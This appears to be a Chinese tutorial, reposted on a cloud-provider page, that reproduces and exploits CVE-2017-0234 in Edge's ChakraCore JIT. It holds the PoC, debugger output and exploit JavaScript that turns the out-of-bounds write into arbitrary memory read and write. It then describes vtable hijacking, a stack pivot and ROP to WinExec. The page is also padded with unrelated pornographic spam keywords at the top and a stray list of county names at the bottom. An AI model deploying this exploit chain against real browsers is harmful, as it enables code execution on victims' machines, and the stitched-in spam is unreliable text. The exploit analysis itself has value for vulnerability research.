亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現Edge CVE-2017-0234 漏洞復現與利用

發布時間:2021-12-27 18:53:36 來源:億速云 閱讀:220 作者:柒染 欄目:安全技術

如何實現Edge CVE-2017-0234 漏洞復現與利用,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

0x01 前期工作

首先clone并切換到漏洞所在的源碼版本

git clone https://github.com/microsoft/ChakraCore.git
git checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6

Chakra.Core.sln文件在Build目錄下。推薦使用VS2015生成解決方案,新版VS可能會遇到缺少運行庫的問題。

下面分析僅針對Release配置下編譯生成的Chakra,Debug配置中會啟用一些額外的檢測。

0x02 Crash&POC分析

 使用VS或者Windbg調試都可以,設置可執行文件為ch.exe,參數為js文件。

function write(begin,end,step,num)
{
 for(var i=begin;i<end;i+=step) view[i]=num;
}
var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);
write(0,0x4000,1,0x1234);
write(0x3000000e,0x40000010,0x10000,1851880825);

首先對POC內容簡單分析一下

  • buffer申請了一塊0x10000的內存作為緩沖區

  • view是以buffer為緩沖區的Uint32變量類型的數組

  • 自定義的write函數對view數組進行了一個循環賦值的操作

  • 第二次write顯然超出了0x10000緩沖區的范圍,但js中的數組越界賦值,通常會直接忽略

但是Windbg捕獲到了一個異常:

(7200.6cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000001a2`9fad0157 46892c8e        mov     dword ptr [rsi+r9*4],r13d ds:000001a2`644c0038=????????

觀察相關寄存器及其指向內存區域的情況,其詳細內容如下:

0:004> r @rsi,@r9
rsi=000001a19fa40000 r9=00000000312a000e
0:004> dd @rsi
000001a1`9fa40000  00001234 00001234 00001234 00001234
000001a1`9fa40010  00001234 00001234 00001234 00001234
000001a1`9fa40020  00001234 00001234 00001234 00001234
000001a1`9fa40030  00001234 00001234 00001234 00001234
000001a1`9fa40040  00001234 00001234 00001234 00001234
000001a1`9fa40050  00001234 00001234 00001234 00001234
000001a1`9fa40060  00001234 00001234 00001234 00001234
000001a1`9fa40070  00001234 00001234 00001234 00001234

顯然rsi指向buffer,r9是write中進行的數組賦值操作中的數組下標i,乘以4是因為Uint32成員單位大小是4字節

0:004> dd @rsi+@r9*4
000001a2`64500038  ???????? ???????? ???????? ????????
000001a2`64500048  ???????? ???????? ???????? ????????
000001a2`64500058  ???????? ???????? ???????? ????????
000001a2`64500068  ???????? ???????? ???????? ????????
000001a2`64500078  ???????? ???????? ???????? ????????
000001a2`64500088  ???????? ???????? ???????? ????????
000001a2`64500098  ???????? ???????? ???????? ????????
000001a2`645000a8  ???????? ???????? ???????? ????????
0:004> !address @rsi+@r9*4

Usage:                  <unknown>
Base Address:           000001a1`9fa50000
End Address:            000001a2`9fa40000
Region Size:            00000000`ffff0000 (   4.000 GB)
State:                  00002000          MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001a1`9fa40000
Allocation Protect:     00000001          PAGE_NOACCESS

越界后的數組下標指向的這塊內存不具有RW權限,因此產生了異常

關注點:R9的值并不是第一次越界寫入時的數組下標,并且JS正常情況下數組越界并不應該產生異常

查看異常發生時的調用棧

如何實現Edge CVE-2017-0234 漏洞復現與利用

由此可得,是for循環達到一定次數后觸發了JIT機制,而異常就發生在通過JIT編譯后執行的越界寫入中。顯然此處JIT生成的匯編代碼缺少數組下標的越界檢測,通過patch代碼的分析來探尋其中的原因。

如何實現Edge CVE-2017-0234 漏洞復現與利用

patch的內容:針對三個標志位的設置與否,添加了額外的檢測

根據eliminatedLowerBoundCheckeliminatedUpper-BoundCheck 意譯可知,是關閉下標溢出檢測的標志位,由此可得這個漏洞之所以能輕易數組越界,是因為開發者主動關閉下標檢測。而相關原因將在下文進一步分析。

此外,這個漏洞還有一個特點,JIT中數組越界產生的異常會被chakra自己處理,并不會引發crash,理論上這對漏洞利用的穩定性會有所幫助。(但最后寫出的Exp其實并沒有用上這個機制)

0x03 成因分析

POC中ArrayBuffer申請的長度0x10000并不是隨便選的,這個長度將會決定是由AllocWrapper還是malloc申請內存

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{

#if _WIN64
        /*
        1. length >= 2^16
        2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
        3. length is a multiple of 4K
        */
        return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
            (length >= 0x10000) &&
            (((length & (~length + 1)) == length) ||
            (length >= 0x1000000 &&
            ((length & 0xFFFFFF) == 0)
            )
            ) &&
            ((length % AutoSystemInfo::PageSize) == 0)
            );
#else
        return false;
#endif
 }

由上方可知0x10000是滿足調用AllocWrapper的最小長度

再來看看AllocWrapper的邏輯,實際上還是使用VirtualAlloc進行內存申請與管理:

static void*__cdecl  AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length)
{
#if _WIN64
            LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS);
            //throw out of memory
            if (!address)
            {
                Js::Throw::OutOfMemory();
            }
            LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE);
            if (!arrayAddress)
            {
                VirtualFree(address, 0, MEM_RELEASE);
                Js::Throw::OutOfMemory();
            }
            return arrayAddress;
#else
            Assert(false);
            return nullptr;
#endif
}

其中VirtualAlloc申請的大小MAX_ASMJS_ARRAYBUFF-ER_LENGTH是固定值,直接一次性申請4GB大小

define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
AllocWrapper中調用了兩次VirtualAlloc,第一次申請了0x100000000的巨大空間但是設置為NOACCESS,第二次VirtualAlloc根據ArrayBuffer實際申請的長度,把0x10000000中相應長度的區域設置為RW

這下我們就可以嘗試解釋JIT中忽略異常并不設置下標檢測的原因了:

  • 這塊4G的緩沖區中僅會作為一個數組對象的緩沖區

  • chakra中數組下標是uint32類型,因此其最大值是2^32-1

  • 假設數組成員變量是單字節大小,那剛好無法越過4G的范圍

  • 在4G的范圍內進行越界讀寫,并不會產生危害

  • 關閉下標檢測可以提升性能

但POC中已經給出了答案,若數組成員變量大于1字節,則可以跨越4G的安全區去進行越界讀寫。只要利用堆噴射等方式申請到4G的正后方內存,就可以劫持對象的數據結構從而間接實現任意讀寫。

0x04 漏洞利用

windows環境下的利用相比linux會復雜一些,首要目標大多是先嘗試達成任意地址讀寫,再往后一般也就只是時間問題了。

數據對象劫持

首先觀察一下與后續利用相關的數據結構:

//arr大概率能分配到buffer申請到的4G空間的正后方
var buffer =  new ArrayBuffer(0x10000);
var view   =  new Uint32Array(buffer);
var arr = new Array(0x800)
arr[0]=0x111
arr[1]=0x222
  • chakra中數組是基于B Tree的數據結構,大體上我們需要了解其是將數組分部在多節點內存存儲

  • 每個節點稱之為segment,其中length代表已存儲的成員數量,size代表這個seg的大小

  • left代表B tree中左節點

  • next指向下一個segment

  • 0x80000002是MissingItem,簡單可以理解為未初始化時的默認值。

  • segment中head的偏移是0x20,存放數組成員的地方從0x38偏移處開始;next指向的是下個segment.head

0:004> dd 1D7`CE5A0000
000001d7`ce5a0000  00000000 00000000 00002020 00000000
000001d7`ce5a0010  00000000 00000000 0000b33a 00000000
000001d7`ce5a0020  00000000 00000002 00000802 00000000
000001d7`ce5a0030  00000000 00000000 00000111 00000222
000001d7`ce5a0040  80000002 80000002 80000002 80000002

如何實現Edge CVE-2017-0234 漏洞復現與利用

使用vs調試可以更輕松地觀察數據結構
//通過以下代碼進一步觀察left與next
arr[0]=0x111
arr[1]=0x222
arr[0x2000]=112233
arr[0x4000]=334455
0x00000131C3B24520  00000000 00000000 00000000 00000000
0x00000131C3B24530  00000000 00000000 00000000 00000000
0x00000131C3B24540  00000000 00000002 00000012 00000000  //left=0 size=2 length=0x12
0x00000131C3B24550  c3b245a0 00000131 00000111 00000222  //next=0x131c3b245a0
0x00000131C3B24560  80000002 80000002 80000002 80000002
.....
0x00000131C3B245A0  00002000 00000001 00000012 00000000  //left=0x2000 size=1 length=0x12
0x00000131C3B245B0  c2158180 00000129 00000333 80000002  //next=0x129c2158180
0x00000131C3B245C0  80000002 80000002 80000002 80000002
......
0x00000129C2158180  00004000 00000001 00000012 00000000  //left=0x4000
0x00000129C2158190  00000000 00000000 00000444 80000002
0x00000129C21581A0  80000002 80000002 80000002 80000002

進行數組查詢時,會根據length與size判斷是否要去next的下一個節點,如果我們通過POC中的越界寫入修改了length與size并改得很大,那就可以通過該數組進行越界讀寫。

EXP Step1:成功分配兩個數組的buffer到4G空間后方

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var arr1 = new Array(0x800);
var arr2 = new Array(0x800);

通過調試觀察可得arr2因為內存對齊,實際位于arr1+0x3000處,中間存在無效數據

0:009> dd 0x1AE5EBE0000
000001ae`5ebe0000  00000000 00000000 00002020 00000000
000001ae`5ebe0010  00000000 00000000 000066af 00000000
000001ae`5ebe0020  00000000 000f0000 000f0000 00000000
000001ae`5ebe0030  00000000 00000000 12345678 0000aaaa
000001ae`5ebe0040  00000000 80000002 80000002 80000002
000001ae`5ebe0050  80000002 80000002 80000002 80000002
0:009> dd 0x1AE5EBE3000
000001ae`5ebe3000  00000000 00000000 00004020 00000000
000001ae`5ebe3010  00000000 00000000 0000468f 00000000
000001ae`5ebe3020  00000000 00000004 00000801 00000000
000001ae`5ebe3030  00000000 00000000 00000123 00010000

任意對象地址泄漏 

myarr[0]=myobj;

這一步實際上是將myobj的地址作為指針存儲在了數組中,不過正常情況下無法將這個指針的值直接leak出來,但利用越界讀等特殊方式就可以做到。

EXP Step2:利用arr1越界讀取arr2中的對象指針,實現任意對象leak
//JIT OOB hijack length and size of arr1
write(0x40000000+0x09,0x40000000+0x001000,0x100000,0xf0000);
//Now arr1 can OOB read&write arr2
write(0x40000000+0x0a,0x40000000+0x001000,0x100000,0xf0000);

//now you can leak any object
function getobjadd(myobj)
{
  arr2[3]=myobj;
  uint32[0]=arr1[0xc06];//int to uint
  return (arr1[0xc07])*0x100000000+uint32[0];
}

通過偽造對象實現任意地址讀寫

這是利用過程中最復雜的操作。

首先總結一下目前擁有的能力:

  1. 通過JIT漏洞越界寫arr1及其高地址的內容

  2. 通過arr1越界讀寫高于arr1地址的內容,如arr2

  3. 任意對象地址leak

而我們現在想偽造一個array對象,通過控制其buffer的方式來實現任意讀寫,并且buffer以外的對象數據也必須設置得合法。顯然目前所擁有的能力很有限,但是上文提到的seg.next在此刻派上了大用場。

將segment的next劫持為對象地址,訪問超出當前segment left+length的成員時,則會將該對象的地址當作下一個segment訪問
//申請四個共用buffer1緩沖的數組
var buffer1 = new ArrayBuffer(0x100);
//view1-4對象本身基本會分配在一塊連續內存上
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);

調試觀察可得,view對象大小為0x40字節

00000230`09013940  00007FFB6B9F8D78 0000023008FD5480 //view1 0偏移處為指向虛表的指針
00000230`09013950  0000000000000000 0000000000000000
00000230`09013960  0000000000000040 0000023009030190  //指向buffer1對象
00000230`09013970  0000000000000004 00000228075AE5F0  //指向真正的緩沖區
00000230`09013980  00007FFB6B9F8D78 0000023008FD5480  //view2
00000230`09013990  0000000000000000 0000000000000000
00000230`090139A0  0000000000000040 0000023009030190
00000230`090139B0  0000000000000004 00000228075AE5F0
00000230`090139C0  00007FFB6B9F8D78 0000023008FD5480  //view3
00000230`090139D0  0000000000000000 0000000000000000
00000230`090139E0  0000000000000040 0000023009030190
00000230`090139F0  0000000000000004 00000228075AE5F0
  1. 上文指出,next指向的是head,而head與數組成員間還相隔0x38-0x20=0x18

  2. 要想通過偽造的next越界讀寫,必須要知道fake head.left來確定數組下標index

  3. 0x28偏移處是指向buffer1對象的指針,可以通過任意對象leak來獲取

綜上,將next設置為view1+0x28,則left就是buffer1地址的低4字節,并且數組成員起始區域是view1+0x28+0x18,剛好是view2對象的地址

//將對象數據復制到buffer1緩沖區中
uint32[0]=arr1[0xc00];//leak low 4Byte of buffer1 and int to uint
index=uint32[0];
for(var i=0;i<0x10;i++) {
  view4[i]=arr1[index+i];//Copy data of view object for faking
}

Tips:

  1. arrint當前是int32類型數組,因此數據若大于0x7fffffff,應先轉為負數再傳給arrint

  2. arrint本身有length屬性,必須大于訪問的index,直接設置為0xffffff00即可

現在buffer1中已經有了一個完整且合法的數組對象,通過view1[0xe&0xf]即可修改fake buffer來實現任意讀寫。

最后的一步就是讓解釋器也把這塊內存上的數據當作對象處理

EXP Step3:任意地址讀寫
  • 關于如何讓chakra將指針認為是對象,暫未能深入探究,僅通過不斷修改代碼測試得出可行的方法

  • 由于筆者能力有限,本文對chakra數組實現的分析僅深入到能理解Exp利用方式的程度,關注點在于left,size,length,next這四個變量的作用。

function readuint32(address)
{
  view4[0x0e]=address%0x100000000;
  view4[0x0f]=address/0x100000000;
  return myview[0];
}

function writeuint32(address,num)
{
  view4[0x0e]=address%0x100000000;
  view4[0x0f]=address/0x100000000;
  myview[0]=num;
}

0x05 從任意讀寫到彈計算器

劫持控制流

常規思路有泄露棧地址然后ROP等,但windows下的棧穩定性不像linux,即使泄露stack base也難以確認返回地址所在的位置,此處選擇的方法是虛表劫持。上文提到view對象0偏移處即為該類數組對象的虛表,類似于linux pwn中常見的IO_FILE利用中可劫持的vtable

00007FFB`87818D78  00007FFB87213CE0 00007FFB87213CE0   //都是函數指針
00007FFB`87818D88  00007FFB87213CE0 00007FFB87213CE0
00007FFB`87818D98  00007FFB87213D10 00007FFB87557480
00007FFB`87818DA8  00007FFB87557460 00007FFB875574A0
00007FFB`87818DB8  00007FFB87557420 00007FFB874BF350
00007FFB`87818DC8  00007FFB873B8310 00007FFB87557DF0

因此我們只要將view對象的虛表指針修改到我們可控的區域,就可以劫持控制流了

棧遷移

由于windows下并沒有one_gadget這種方便的存在,劫持控制流后還需要結合其他利用技術才能進行下一步,尋找合適的gadget往往也會是個不小的難題。

  • 本機環境的ntdll與kernel32.dll中,能直接控制RSP并且ret的只有mov rsp, r11。通過push rxx;pop rsp這種間接控制的gadget筆者也沒有找到,因此思路轉向尋找會使r11數值可控的數組方法

  • 經過很多次嘗試后,發現arr1==arr2會將r11設置為arr2對象地址

因此可以直接將對象區域破壞,用于存放ROP chain

 泄漏模塊地址

windows有個特性,短時間內模塊的基址是不會變的,利用這點可以讓調試過程更加方便

  1. 通過對象的虛表指針,減去偏移可以得到ChakraCore.dll的基址

  2. 通過ChakraCore.dll的IAT表,leak其他模塊基址

 ROP

  • windows中的底層api往往需要很多參數,大多不像linux下的system/execve那么好用,而且還散布在不同的dll中。此處推薦kernel32!WinExec,僅需控制兩個參數并且位于kernel32模塊,非常方便。

  • windows64位下api使用寄存器傳參通過RCX, RDX, R8, R9,RSP+0x20....傳遞

  • ntdll中一般會存在很多好用的gadget用于控制參數寄存器

0x06 利用效果

  • 本地環境測試中,唯一的不穩定因素是arr1能否占位到4GB后,成功率大約有80-90%

  • 嘗試在開頭就大量new Array來占位4GB后,經測試絕大多數情況都是第一次分配就占位成功,若不成功則后續也難以占位到這處位置。若要達成100%成功率,需在此處進一步研究。

  • 其他環境復現,需要修改ROP中用到的gadget偏移

如何實現Edge CVE-2017-0234 漏洞復現與利用

實際上要在Edge上成功利用的話,還需要繞過CFG機制,也就是說無法通過劫持虛表指針直接ROP。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

崇信县| 株洲市| 庆阳市| 文登市| 曲靖市| 高州市| 崇仁县| 承德县| 清镇市| 甘南县| 西畴县| 商都县| 清新县| 长武县| 三河市| 武陟县| 清水县| 台东县| 福建省| 蓬莱市| 南江县| 加查县| 山阳县| 吉隆县| 阳朔县| 卫辉市| 黄石市| 枞阳县| 徐州市| 乐东| 阿坝县| 淄博市| 庐江县| 东乌珠穆沁旗| 峡江县| 永新县| 安国市| 会泽县| 新民市| 洛阳市| 隆尧县|